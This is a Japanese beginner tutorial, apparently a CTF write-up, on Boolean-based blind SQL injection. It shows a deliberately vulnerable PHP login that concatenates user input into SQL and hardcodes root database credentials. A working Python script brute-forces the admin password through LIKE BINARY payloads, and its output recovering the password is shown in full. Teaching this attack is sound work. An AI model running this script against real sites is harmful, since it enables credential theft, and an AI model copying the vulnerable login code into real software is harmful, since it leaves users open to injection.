【セキュリティ入門】Boolean-based Blind SQL Injectionについて

# 背景

先日参加したCTFでこの脆弱性を使用して解く問題が出たのでこれを機に記事を書きます。

# Boolean-based Blind SQL Injectionとは

`Blind SQL Injection`の一つで、真偽値を使用して情報を取得する攻撃を指す。

https://jvn.jp/ta/JVNTA99929369/

https://www.acunetix.com/websitesecurity/sql-injection2/

# 具体的な攻撃手法

CTFの問題を再現しつつ手法を解説していきます。

CTFの問題
>adminユーザーのパスワードを特定せよ。

## 脆弱なアプリケーション

SQLインジェクションの脆弱性があり、ログインが成功した場合は`Login successful!`、失敗した場合は`Login failed!`を返すアプリケーションです。
今回`admin`のパスワードは`Th1s_is_4dmin_flag!`になっています。

```
mysql> select * from users;
+----+----------+---------------------+
| id | username | password            |
+----+----------+---------------------+
|  1 | admin    | Th1s_is_4dmin_flag! |
+----+----------+---------------------+
1 row in set (0.00 sec)
```

```php
<?php
    function init_db() {
        $servername = "localhost";
        $username = "root";
        $password = "Pa$\$w0rd";
        $dbname = "booleansqli";
    
        $conn = new mysqli($servername, $username, $password, $dbname);
    
        if ($conn->connect_error) {
            die("Connection failed: " . $conn->connect_error);
        }
    
        $sql = "CREATE TABLE IF NOT EXISTS users(id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(255), password VARCHAR(255))";
        if ($conn->query($sql) === TRUE) {
            $sql = "INSERT INTO users (username, password) VALUES ('admin', 'ctf{**SECRET**}')";
            $conn->query($sql);
        } else {
            echo "Error creating table: " . $conn->error;
        }
    
        $conn->close();
    }

    function login() {
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            $username = $_POST['username'];
            $password = $_POST['password'];
    
            $SERVER = "localhost";
            $MYSQLUSER = "root";
            $DBPASS = "Pa$\$w0rd";
            $DBNAME = "booleansqli";
        
            $conn = new mysqli($SERVER, $MYSQLUSER, $DBPASS, $DBNAME);
    
            if ($conn->connect_error) {
                die("Connection failed: " . $conn->connect_error);
            }
    
            $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

            $result = $conn->query($sql);

            if (!$result) {
                http_response_code(401);
                echo("Login failed!");
            } elseif ($result->num_rows > 0) {
                http_response_code(200);
                echo('Login successful!');
            } else {
                echo("Login failed!");
            }

            $conn->close();
        } else {
            include 'index.html';
        }
    }
    
    login();
```

## エクスプロイトコード

`LIKE`文と`%`を使ってブルートフォースでパスワードを特定します。

```python
import requests
from string import printable

url = "http://localhost/booleansqli/app.php"
username = 'admin'
password = ''

characters = f"{printable}".replace("%","")

while True:
    for char in characters:
        payload = {
            'username': username,
            'password': f"' OR password LIKE BINARY '{password}{char}%"
        }
        response = requests.post(url, data=payload)
        
        if 'Login successful' in response.text:
            password += char
            print(f"Found one more character: {password}")
            break

    print(f"Password found: {password}")
```

### 結果

```
Found one more character: T
Password found: T
Found one more character: Th
Password found: Th
Found one more character: Th1
Password found: Th1
Found one more character: Th1s
Password found: Th1s
Found one more character: Th1s_
Password found: Th1s_
Found one more character: Th1s_i
Password found: Th1s_i
Found one more character: Th1s_is
Password found: Th1s_is
Found one more character: Th1s_is_
Password found: Th1s_is_
Found one more character: Th1s_is_4
Password found: Th1s_is_4
Found one more character: Th1s_is_4d
Password found: Th1s_is_4d
Found one more character: Th1s_is_4dm
Password found: Th1s_is_4dm
Found one more character: Th1s_is_4dmi
Password found: Th1s_is_4dmi
Found one more character: Th1s_is_4dmin
Password found: Th1s_is_4dmin
Found one more character: Th1s_is_4dmin_
Password found: Th1s_is_4dmin_
Found one more character: Th1s_is_4dmin_f
Password found: Th1s_is_4dmin_f
Found one more character: Th1s_is_4dmin_fl
Password found: Th1s_is_4dmin_fl
Found one more character: Th1s_is_4dmin_fla
Password found: Th1s_is_4dmin_fla
Found one more character: Th1s_is_4dmin_flag
Password found: Th1s_is_4dmin_flag
Found one more character: Th1s_is_4dmin_flag!
Password found: Th1s_is_4dmin_flag!
```